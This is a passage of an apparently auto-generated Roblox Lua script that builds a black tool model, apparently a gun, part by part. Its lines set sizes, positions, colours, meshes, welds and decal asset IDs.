  2174. Part163.CFrame = CFrame.new(34.5371094, 1.67563403, -9.40740967, 0, 1, -0, -1, 0, 0, 0, 0, 1)
  2175. Part163.BottomSurface = Enum.SurfaceType.Smooth
  2176. Part163.TopSurface = Enum.SurfaceType.Smooth
  2177. Part163.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2178. Part163.Position = Vector3.new(34.5371094, 1.67563403, -9.40740967)
  2179. Part163.Orientation = Vector3.new(0, 0, -90)
  2180. Part163.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2181. SpecialMesh164.Parent = Part163
  2182. SpecialMesh164.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
  2183. SpecialMesh164.MeshType = Enum.MeshType.Wedge
  2184. SpecialMesh164.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
  2185. Part165.Parent = Tool0
  2186. Part165.Material = Enum.Material.SmoothPlastic
  2187. Part165.BrickColor = BrickColor.new("Black")
  2188. Part165.Reflectance = 0.20000000298023
  2189. Part165.Rotation = Vector3.new(-90, 0, 0)
  2190. Part165.Anchored = true
  2191. Part165.FormFactor = Enum.FormFactor.Custom
  2192. Part165.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2193. Part165.CFrame = CFrame.new(34.4963379, 1.67197096, -12.166626, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2194. Part165.BottomSurface = Enum.SurfaceType.Smooth
  2195. Part165.TopSurface = Enum.SurfaceType.Smooth
  2196. Part165.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2197. Part165.Position = Vector3.new(34.4963379, 1.67197096, -12.166626)
  2198. Part165.Orientation = Vector3.new(-90, 0, 0)
  2199. Part165.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2200. SpecialMesh166.Parent = Part165
  2201. SpecialMesh166.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2202. SpecialMesh166.Scale = Vector3.new(0.0740740746, 0.0740740746, 0.0740740746)
  2203. SpecialMesh166.MeshType = Enum.MeshType.FileMesh
  2204. SpecialMesh166.Scale = Vector3.new(0.0740740746, 0.0740740746, 0.0740740746)
  2205. ManualWeld167.Name = "Part-to-AimPart Strong Joint"
  2206. ManualWeld167.Parent = Part165
  2207. ManualWeld167.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2208. ManualWeld167.C1 = CFrame.new(0.0999984741, -0.0999529362, -0.11482811, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  2209. ManualWeld167.Part0 = Part165
  2210. ManualWeld167.Part1 = Part237
  2211. Part168.Parent = Tool0
  2212. Part168.Material = Enum.Material.SmoothPlastic
  2213. Part168.BrickColor = BrickColor.new("Black")
  2214. Part168.Reflectance = 0.20000000298023
  2215. Part168.Rotation = Vector3.new(90, 0, 180)
  2216. Part168.Anchored = true
  2217. Part168.FormFactor = Enum.FormFactor.Custom
  2218. Part168.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2219. Part168.CFrame = CFrame.new(34.4481201, 1.67563403, -9.31847382, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
  2220. Part168.BottomSurface = Enum.SurfaceType.Smooth
  2221. Part168.TopSurface = Enum.SurfaceType.Smooth
  2222. Part168.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2223. Part168.Position = Vector3.new(34.4481201, 1.67563403, -9.31847382)
  2224. Part168.Orientation = Vector3.new(89.9599991, 0, -180)
  2225. Part168.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2226. BlockMesh169.Parent = Part168
  2227. BlockMesh169.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
  2228. BlockMesh169.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
  2229. Part170.Parent = Tool0
  2230. Part170.Material = Enum.Material.SmoothPlastic
  2231. Part170.BrickColor = BrickColor.new("Black")
  2232. Part170.Anchored = true
  2233. Part170.FormFactor = Enum.FormFactor.Custom
  2234. Part170.Size = Vector3.new(0.200000003, 0.200000003, 3.39259839)
  2235. Part170.CFrame = CFrame.new(34.5, 1.55698204, -10.6962881, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2236. Part170.BottomSurface = Enum.SurfaceType.Smooth
  2237. Part170.TopSurface = Enum.SurfaceType.Smooth
  2238. Part170.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2239. Part170.Position = Vector3.new(34.5, 1.55698204, -10.6962881)
  2240. Part170.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2241. BlockMesh171.Parent = Part170
  2242. BlockMesh171.Scale = Vector3.new(0.666667521, 0.51851815, 1)
  2243. BlockMesh171.Scale = Vector3.new(0.666667521, 0.51851815, 1)
  2244. Part172.Parent = Tool0
  2245. Part172.Material = Enum.Material.SmoothPlastic
  2246. Part172.BrickColor = BrickColor.new("Black")
  2247. Part172.Reflectance = 0.20000000298023
  2248. Part172.Rotation = Vector3.new(180, 0, 90)
  2249. Part172.Anchored = true
  2250. Part172.FormFactor = Enum.FormFactor.Custom
  2251. Part172.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2252. Part172.CFrame = CFrame.new(34.4333496, 1.67563403, -9.31847382, 0, -1, -0, -0.999999762, -0, -1.49011612e-08, 1.49011612e-08, -0, -0.999999762)
  2253. Part172.BottomSurface = Enum.SurfaceType.Smooth
  2254. Part172.TopSurface = Enum.SurfaceType.Smooth
  2255. Part172.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2256. Part172.Position = Vector3.new(34.4333496, 1.67563403, -9.31847382)
  2257. Part172.Orientation = Vector3.new(0, -180, -90)
  2258. Part172.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2259. SpecialMesh173.Parent = Part172
  2260. SpecialMesh173.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  2261. SpecialMesh173.MeshType = Enum.MeshType.Wedge
  2262. SpecialMesh173.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  2263. Part174.Parent = Tool0
  2264. Part174.Material = Enum.Material.SmoothPlastic
  2265. Part174.BrickColor = BrickColor.new("Black")
  2266. Part174.Rotation = Vector3.new(0, 0, -90)
  2267. Part174.Anchored = true
  2268. Part174.FormFactor = Enum.FormFactor.Symmetric
  2269. Part174.Size = Vector3.new(1, 1, 1)
  2270. Part174.CFrame = CFrame.new(34.4996338, 2.04233408, -11.0662165, 0, 1, -0, -1, 0, 0, 0, 0, 1)
  2271. Part174.BottomSurface = Enum.SurfaceType.Smooth
  2272. Part174.TopSurface = Enum.SurfaceType.Smooth
  2273. Part174.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2274. Part174.Position = Vector3.new(34.4996338, 2.04233408, -11.0662165)
  2275. Part174.Orientation = Vector3.new(0, 0, -90)
  2276. Part174.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2277. SpecialMesh175.Parent = Part174
  2278. SpecialMesh175.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2279. SpecialMesh175.Scale = Vector3.new(0.185185194, 0.185185194, 0.481481493)
  2280. SpecialMesh175.MeshType = Enum.MeshType.FileMesh
  2281. SpecialMesh175.Scale = Vector3.new(0.185185194, 0.185185194, 0.481481493)
  2282. Part176.Parent = Tool0
  2283. Part176.Material = Enum.Material.SmoothPlastic
  2284. Part176.BrickColor = BrickColor.new("Black")
  2285. Part176.Anchored = true
  2286. Part176.FormFactor = Enum.FormFactor.Custom
  2287. Part176.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
  2288. Part176.CFrame = CFrame.new(34.4963379, 1.86826003, -11.2777596, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2289. Part176.BottomSurface = Enum.SurfaceType.Smooth
  2290. Part176.TopSurface = Enum.SurfaceType.Smooth
  2291. Part176.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2292. Part176.Position = Vector3.new(34.4963379, 1.86826003, -11.2777596)
  2293. Part176.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2294. SpecialMesh177.Parent = Part176
  2295. SpecialMesh177.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2296. SpecialMesh177.Scale = Vector3.new(0.259259254, 0.259259254, 3.70370364)
  2297. SpecialMesh177.MeshType = Enum.MeshType.FileMesh
  2298. SpecialMesh177.Scale = Vector3.new(0.259259254, 0.259259254, 3.70370364)
  2299. Part178.Parent = Tool0
  2300. Part178.Material = Enum.Material.SmoothPlastic
  2301. Part178.BrickColor = BrickColor.new("Black")
  2302. Part178.Reflectance = 0.20000000298023
  2303. Part178.Rotation = Vector3.new(180, 0, -90)
  2304. Part178.Anchored = true
  2305. Part178.FormFactor = Enum.FormFactor.Custom
  2306. Part178.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2307. Part178.CFrame = CFrame.new(34.4481201, 1.67563403, -9.37774181, 0, 1, -0, 0.999999762, 0, -1.49011612e-08, -1.49011612e-08, 0, -0.999999762)
  2308. Part178.BottomSurface = Enum.SurfaceType.Smooth
  2309. Part178.TopSurface = Enum.SurfaceType.Smooth
  2310. Part178.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2311. Part178.Position = Vector3.new(34.4481201, 1.67563403, -9.37774181)
  2312. Part178.Orientation = Vector3.new(0, -180, 90)
  2313. Part178.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2314. SpecialMesh179.Parent = Part178
  2315. SpecialMesh179.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  2316. SpecialMesh179.MeshType = Enum.MeshType.Wedge
  2317. SpecialMesh179.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  2318. Part180.Parent = Tool0
  2319. Part180.Material = Enum.Material.SmoothPlastic
  2320. Part180.BrickColor = BrickColor.new("Black")
  2321. Part180.Reflectance = 0.20000000298023
  2322. Part180.Rotation = Vector3.new(0, 0, 90)
  2323. Part180.Anchored = true
  2324. Part180.FormFactor = Enum.FormFactor.Custom
  2325. Part180.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2326. Part180.CFrame = CFrame.new(34.4555664, 1.67563403, -9.40740967, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
  2327. Part180.BottomSurface = Enum.SurfaceType.Smooth
  2328. Part180.TopSurface = Enum.SurfaceType.Smooth
  2329. Part180.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2330. Part180.Position = Vector3.new(34.4555664, 1.67563403, -9.40740967)
  2331. Part180.Orientation = Vector3.new(0, 0, 90)
  2332. Part180.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2333. SpecialMesh181.Parent = Part180
  2334. SpecialMesh181.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
  2335. SpecialMesh181.MeshType = Enum.MeshType.Wedge
  2336. SpecialMesh181.Scale = Vector3.new(0.370370418, 0.148148149, 0.0740740821)
  2337. Part182.Parent = Tool0
  2338. Part182.Material = Enum.Material.SmoothPlastic
  2339. Part182.BrickColor = BrickColor.new("Black")
  2340. Part182.Rotation = Vector3.new(-90, 0, 0)
  2341. Part182.Anchored = true
  2342. Part182.FormFactor = Enum.FormFactor.Custom
  2343. Part182.Size = Vector3.new(0.200000003, 0.200000003, 0.340740591)
  2344. Part182.CFrame = CFrame.new(34.4963379, 1.87045896, -11.2036743, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2345. Part182.BottomSurface = Enum.SurfaceType.Smooth
  2346. Part182.TopSurface = Enum.SurfaceType.Smooth
  2347. Part182.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2348. Part182.Position = Vector3.new(34.4963379, 1.87045896, -11.2036743)
  2349. Part182.Orientation = Vector3.new(-90, 0, 0)
  2350. Part182.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2351. CylinderMesh183.Parent = Part182
  2352. CylinderMesh183.Scale = Vector3.new(0.0703703687, 0.0111111114, 0.100000001)
  2353. CylinderMesh183.Scale = Vector3.new(0.0703703687, 0.0111111114, 0.100000001)
  2354. Part184.Parent = Tool0
  2355. Part184.Material = Enum.Material.SmoothPlastic
  2356. Part184.BrickColor = BrickColor.new("Black")
  2357. Part184.Reflectance = 0.20000000298023
  2358. Part184.Rotation = Vector3.new(-180, 0, 90)
  2359. Part184.Anchored = true
  2360. Part184.FormFactor = Enum.FormFactor.Custom
  2361. Part184.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2362. Part184.CFrame = CFrame.new(34.5296631, 1.67563403, -9.39257813, 0, -0.999998391, 0, -0.999999166, -0, 2.98023224e-08, 1.49011612e-08, -0, -0.999998927)
  2363. Part184.BottomSurface = Enum.SurfaceType.Smooth
  2364. Part184.TopSurface = Enum.SurfaceType.Smooth
  2365. Part184.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2366. Part184.Position = Vector3.new(34.5296631, 1.67563403, -9.39257813)
  2367. Part184.Orientation = Vector3.new(0, 180, -90)
  2368. Part184.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2369. SpecialMesh185.Parent = Part184
  2370. SpecialMesh185.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
  2371. SpecialMesh185.MeshType = Enum.MeshType.Wedge
  2372. SpecialMesh185.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
  2373. Part186.Parent = Tool0
  2374. Part186.Material = Enum.Material.SmoothPlastic
  2375. Part186.BrickColor = BrickColor.new("Black")
  2376. Part186.Transparency = 0.69999998807907
  2377. Part186.Rotation = Vector3.new(-90, 0, 0)
  2378. Part186.Anchored = true
  2379. Part186.FormFactor = Enum.FormFactor.Custom
  2380. Part186.Size = Vector3.new(0.229629576, 0.200000003, 0.244444489)
  2381. Part186.CFrame = CFrame.new(34.4963379, 1.87192404, -11.0073795, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2382. Part186.BottomSurface = Enum.SurfaceType.Smooth
  2383. Part186.TopSurface = Enum.SurfaceType.Smooth
  2384. Part186.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2385. Part186.Position = Vector3.new(34.4963379, 1.87192404, -11.0073795)
  2386. Part186.Orientation = Vector3.new(-90, 0, 0)
  2387. Part186.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2388. Decal187.Parent = Part186
  2389. Decal187.Texture = "http://www.roblox.com/asset/?id=145867456"
  2390. Decal187.Face = Enum.NormalId.Bottom
  2391. Decal188.Parent = Part186
  2392. Decal188.Texture = "http://www.roblox.com/asset/?id=145867456"
  2393. Decal188.Face = Enum.NormalId.Bottom
  2394. Decal189.Parent = Part186
  2395. Decal189.Texture = "http://www.roblox.com/asset/?id=145867456"
  2396. Decal189.Face = Enum.NormalId.Bottom
  2397. Decal190.Parent = Part186
  2398. Decal190.Texture = "http://www.roblox.com/asset/?id=145867456"
  2399. Decal190.Face = Enum.NormalId.Bottom
  2400. Decal191.Parent = Part186
  2401. Decal191.Texture = "http://www.roblox.com/asset/?id=145867456"
  2402. Decal191.Face = Enum.NormalId.Bottom
  2403. Decal192.Parent = Part186
  2404. Decal192.Texture = "http://www.roblox.com/asset/?id=145867456"
  2405. Decal192.Face = Enum.NormalId.Bottom
  2406. Decal193.Parent = Part186
  2407. Decal193.Texture = "http://www.roblox.com/asset/?id=145867456"
  2408. Decal193.Face = Enum.NormalId.Bottom
  2409. CylinderMesh194.Parent = Part186
  2410. CylinderMesh194.Scale = Vector3.new(1, 0.222222224, 1)
  2411. CylinderMesh194.Scale = Vector3.new(1, 0.222222224, 1)
  2412. Part195.Parent = Tool0
  2413. Part195.Material = Enum.Material.SmoothPlastic
  2414. Part195.BrickColor = BrickColor.new("Black")
  2415. Part195.Reflectance = 0.20000000298023
  2416. Part195.Rotation = Vector3.new(180, 0, -180)
  2417. Part195.Anchored = true
  2418. Part195.FormFactor = Enum.FormFactor.Custom
  2419. Part195.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2420. Part195.CFrame = CFrame.new(34.4963379, 1.67563403, -11.859252, -1, 0, -4.37113883e-08, 0, 1, -0, 4.37113883e-08, 0, -1)
  2421. Part195.BottomSurface = Enum.SurfaceType.Smooth
  2422. Part195.TopSurface = Enum.SurfaceType.Smooth
  2423. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2424. Part195.Position = Vector3.new(34.4963379, 1.67563403, -11.859252)
  2425. Part195.Orientation = Vector3.new(0, -180, 0)
  2426. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2427. SpecialMesh196.Parent = Part195
  2428. SpecialMesh196.Scale = Vector3.new(0.481481612, 0.370366931, 0.666666448)
  2429. SpecialMesh196.MeshType = Enum.MeshType.Wedge
  2430. SpecialMesh196.Scale = Vector3.new(0.481481612, 0.370366931, 0.666666448)
  2431. Part197.Parent = Tool0
  2432. Part197.Material = Enum.Material.SmoothPlastic
  2433. Part197.BrickColor = BrickColor.new("Black")
  2434. Part197.Transparency = 0.69999998807907
  2435. Part197.Rotation = Vector3.new(-90, 0, 0)
  2436. Part197.Anchored = true
  2437. Part197.FormFactor = Enum.FormFactor.Custom
  2438. Part197.Size = Vector3.new(0.229629576, 0.200000003, 0.244444489)
  2439. Part197.CFrame = CFrame.new(34.4963379, 1.87192404, -11.5481558, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2440. Part197.BottomSurface = Enum.SurfaceType.Smooth
  2441. Part197.TopSurface = Enum.SurfaceType.Smooth
  2442. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2443. Part197.Position = Vector3.new(34.4963379, 1.87192404, -11.5481558)
  2444. Part197.Orientation = Vector3.new(-90, 0, 0)
  2445. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2446. CylinderMesh198.Parent = Part197
  2447. CylinderMesh198.Scale = Vector3.new(1, 0.222222224, 1)
  2448. CylinderMesh198.Scale = Vector3.new(1, 0.222222224, 1)
  2449. Part199.Parent = Tool0
  2450. Part199.Material = Enum.Material.SmoothPlastic
  2451. Part199.BrickColor = BrickColor.new("Black")
  2452. Part199.Anchored = true
  2453. Part199.FormFactor = Enum.FormFactor.Custom
  2454. Part199.Size = Vector3.new(0.200000003, 0.200000003, 0.237036973)
  2455. Part199.CFrame = CFrame.new(34.4963379, 1.70151401, -11.2962637, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2456. Part199.BottomSurface = Enum.SurfaceType.Smooth
  2457. Part199.TopSurface = Enum.SurfaceType.Smooth
  2458. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2459. Part199.Position = Vector3.new(34.4963379, 1.70151401, -11.2962637)
  2460. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2461. BlockMesh200.Parent = Part199
  2462. BlockMesh200.Scale = Vector3.new(0.481481373, 0.407407463, 1)
  2463. BlockMesh200.Scale = Vector3.new(0.481481373, 0.407407463, 1)
  2464. Part201.Parent = Tool0
  2465. Part201.Material = Enum.Material.SmoothPlastic
  2466. Part201.BrickColor = BrickColor.new("Black")
  2467. Part201.Rotation = Vector3.new(0, -90, 0)
  2468. Part201.Anchored = true
  2469. Part201.FormFactor = Enum.FormFactor.Custom
  2470. Part201.Size = Vector3.new(3.39259171, 0.200000003, 0.200000003)
  2471. Part201.CFrame = CFrame.new(34.581543, 1.55698204, -10.6962881, 0, 0, -1, 0, 1, 0, 1, 0, 4.37113883e-08)
  2472. Part201.BottomSurface = Enum.SurfaceType.Smooth
  2473. Part201.TopSurface = Enum.SurfaceType.Smooth
  2474. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2475. Part201.Position = Vector3.new(34.581543, 1.55698204, -10.6962881)
  2476. Part201.Orientation = Vector3.new(0, -90, 0)
  2477. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2478. SpecialMesh202.Parent = Part201
  2479. SpecialMesh202.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2480. SpecialMesh202.MeshType = Enum.MeshType.Wedge
  2481. SpecialMesh202.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2482. Part203.Parent = Tool0
  2483. Part203.Material = Enum.Material.SmoothPlastic
  2484. Part203.BrickColor = BrickColor.new("Really black")
  2485. Part203.Reflectance = 0.20000000298023
  2486. Part203.Anchored = true
  2487. Part203.FormFactor = Enum.FormFactor.Custom
  2488. Part203.Size = Vector3.new(0.207407534, 0.200000003, 0.985189319)
  2489. Part203.CFrame = CFrame.new(34.5, 1.23105395, -10.3740845, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2490. Part203.BottomSurface = Enum.SurfaceType.Smooth
  2491. Part203.TopSurface = Enum.SurfaceType.Smooth
  2492. Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2493. Part203.Position = Vector3.new(34.5, 1.23105395, -10.3740845)
  2494. Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2495. BlockMesh204.Parent = Part203
  2496. BlockMesh204.Scale = Vector3.new(1, 0.370369822, 1)
  2497. BlockMesh204.Scale = Vector3.new(1, 0.370369822, 1)
  2498. Part205.Parent = Tool0
  2499. Part205.Material = Enum.Material.SmoothPlastic
  2500. Part205.BrickColor = BrickColor.new("Black")
  2501. Part205.Reflectance = 0.20000000298023
  2502. Part205.Anchored = true
  2503. Part205.FormFactor = Enum.FormFactor.Custom
  2504. Part205.Size = Vector3.new(0.207407534, 0.348147959, 0.200000003)
  2505. Part205.CFrame = CFrame.new(34.5, 1.44223595, -12.4814396, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2506. Part205.BottomSurface = Enum.SurfaceType.Smooth
  2507. Part205.TopSurface = Enum.SurfaceType.Smooth
  2508. Part205.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2509. Part205.Position = Vector3.new(34.5, 1.44223595, -12.4814396)
  2510. Part205.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2511. BlockMesh206.Parent = Part205
  2512. BlockMesh206.Scale = Vector3.new(1, 1, 0.888907433)
  2513. BlockMesh206.Scale = Vector3.new(1, 1, 0.888907433)
  2514. Part207.Parent = Tool0
  2515. Part207.Material = Enum.Material.SmoothPlastic
  2516. Part207.BrickColor = BrickColor.new("Black")
  2517. Part207.Anchored = true
  2518. Part207.FormFactor = Enum.FormFactor.Custom
  2519. Part207.Size = Vector3.new(0.200000003, 0.237036958, 1.42222607)
  2520. Part207.CFrame = CFrame.new(34.5, 1.38681805, -11.6814585, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2521. Part207.BottomSurface = Enum.SurfaceType.Smooth
  2522. Part207.TopSurface = Enum.SurfaceType.Smooth
  2523. Part207.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2524. Part207.Position = Vector3.new(34.5, 1.38681805, -11.6814585)
  2525. Part207.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2526. BlockMesh208.Parent = Part207
  2527. BlockMesh208.Scale = Vector3.new(0.962963641, 1, 1)
  2528. BlockMesh208.Scale = Vector3.new(0.962963641, 1, 1)
  2529. Part209.Parent = Tool0
  2530. Part209.Material = Enum.Material.SmoothPlastic
  2531. Part209.BrickColor = BrickColor.new("Black")
  2532. Part209.Reflectance = 0.20000000298023
  2533. Part209.Rotation = Vector3.new(0, 0, 90)
  2534. Part209.Anchored = true
  2535. Part209.FormFactor = Enum.FormFactor.Custom
  2536. Part209.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2537. Part209.CFrame = CFrame.new(34.4333496, 1.67563403, -9.38519192, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
  2538. Part209.BottomSurface = Enum.SurfaceType.Smooth
  2539. Part209.TopSurface = Enum.SurfaceType.Smooth
  2540. Part209.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2541. Part209.Position = Vector3.new(34.4333496, 1.67563403, -9.38519192)
  2542. Part209.Orientation = Vector3.new(0, 0, 90)
  2543. Part209.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2544. SpecialMesh210.Parent = Part209
  2545. SpecialMesh210.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  2546. SpecialMesh210.MeshType = Enum.MeshType.Wedge
  2547. SpecialMesh210.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  2548. Part211.Parent = Tool0
  2549. Part211.Material = Enum.Material.SmoothPlastic
  2550. Part211.BrickColor = BrickColor.new("Black")
  2551. Part211.Reflectance = 0.20000000298023
  2552. Part211.Anchored = true
  2553. Part211.FormFactor = Enum.FormFactor.Custom
  2554. Part211.Size = Vector3.new(0.200000003, 0.200000003, 0.281485498)
  2555. Part211.CFrame = CFrame.new(34.5999756, 1.40903294, -10.8222036, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2556. Part211.BottomSurface = Enum.SurfaceType.Smooth
  2557. Part211.TopSurface = Enum.SurfaceType.Smooth
  2558. Part211.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2559. Part211.Position = Vector3.new(34.5999756, 1.40903294, -10.8222036)
  2560. Part211.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2561. BlockMesh212.Parent = Part211
  2562. BlockMesh212.Scale = Vector3.new(0.0370370373, 0.148148, 1)
  2563. BlockMesh212.Scale = Vector3.new(0.0370370373, 0.148148, 1)
  2564. Part213.Parent = Tool0
  2565. Part213.Material = Enum.Material.SmoothPlastic
  2566. Part213.BrickColor = BrickColor.new("Black")
  2567. Part213.Anchored = true
  2568. Part213.FormFactor = Enum.FormFactor.Custom
  2569. Part213.Size = Vector3.new(0.200000003, 0.200000003, 3.2444489)
  2570. Part213.CFrame = CFrame.new(34.4963379, 1.63119996, -10.6221924, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2571. Part213.BottomSurface = Enum.SurfaceType.Smooth
  2572. Part213.TopSurface = Enum.SurfaceType.Smooth
  2573. Part213.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2574. Part213.Position = Vector3.new(34.4963379, 1.63119996, -10.6221924)
  2575. Part213.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2576. BlockMesh214.Parent = Part213
  2577. BlockMesh214.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  2578. BlockMesh214.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  2579. Part215.Parent = Tool0
  2580. Part215.Material = Enum.Material.SmoothPlastic
  2581. Part215.BrickColor = BrickColor.new("Black")
  2582. Part215.Reflectance = 0.20000000298023
  2583. Part215.Rotation = Vector3.new(180, 0, 90)
  2584. Part215.Anchored = true
  2585. Part215.FormFactor = Enum.FormFactor.Custom
  2586. Part215.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2587. Part215.CFrame = CFrame.new(34.5444336, 1.67563403, -9.37774181, -1.91068462e-15, -0.999999762, -3.55271368e-15, -0.999999523, 1.91068398e-15, -4.47034836e-08, 5.96046448e-08, -1.58818678e-22, -0.999999404)
  2588. Part215.BottomSurface = Enum.SurfaceType.Smooth
  2589. Part215.TopSurface = Enum.SurfaceType.Smooth
  2590. Part215.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2591. Part215.Position = Vector3.new(34.5444336, 1.67563403, -9.37774181)
  2592. Part215.Orientation = Vector3.new(0, -180, -90)
  2593. Part215.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2594. SpecialMesh216.Parent = Part215
  2595. SpecialMesh216.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  2596. SpecialMesh216.MeshType = Enum.MeshType.Wedge
  2597. SpecialMesh216.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  2598. Part217.Parent = Tool0
  2599. Part217.Material = Enum.Material.SmoothPlastic
  2600. Part217.BrickColor = BrickColor.new("Black")
  2601. Part217.Reflectance = 0.20000000298023
  2602. Part217.Rotation = Vector3.new(-90, 0, 0)
  2603. Part217.Anchored = true
  2604. Part217.FormFactor = Enum.FormFactor.Custom
  2605. Part217.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2606. Part217.CFrame = CFrame.new(34.5444336, 1.67563403, -9.39257813, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  2607. Part217.BottomSurface = Enum.SurfaceType.Smooth
  2608. Part217.TopSurface = Enum.SurfaceType.Smooth
  2609. Part217.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2610. Part217.Position = Vector3.new(34.5444336, 1.67563403, -9.39257813)
  2611. Part217.Orientation = Vector3.new(-89.9599991, 180, 180)
  2612. Part217.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2613. BlockMesh218.Parent = Part217
  2614. BlockMesh218.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
  2615. BlockMesh218.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
  2616. Part219.Parent = Tool0
  2617. Part219.Material = Enum.Material.SmoothPlastic
  2618. Part219.BrickColor = BrickColor.new("Black")
  2619. Part219.Anchored = true
  2620. Part219.FormFactor = Enum.FormFactor.Custom
  2621. Part219.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
  2622. Part219.CFrame = CFrame.new(34.4963379, 1.86826003, -10.9888916, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2623. Part219.BottomSurface = Enum.SurfaceType.Smooth
  2624. Part219.TopSurface = Enum.SurfaceType.Smooth
  2625. Part219.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2626. Part219.Position = Vector3.new(34.4963379, 1.86826003, -10.9888916)
  2627. Part219.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2628. SpecialMesh220.Parent = Part219
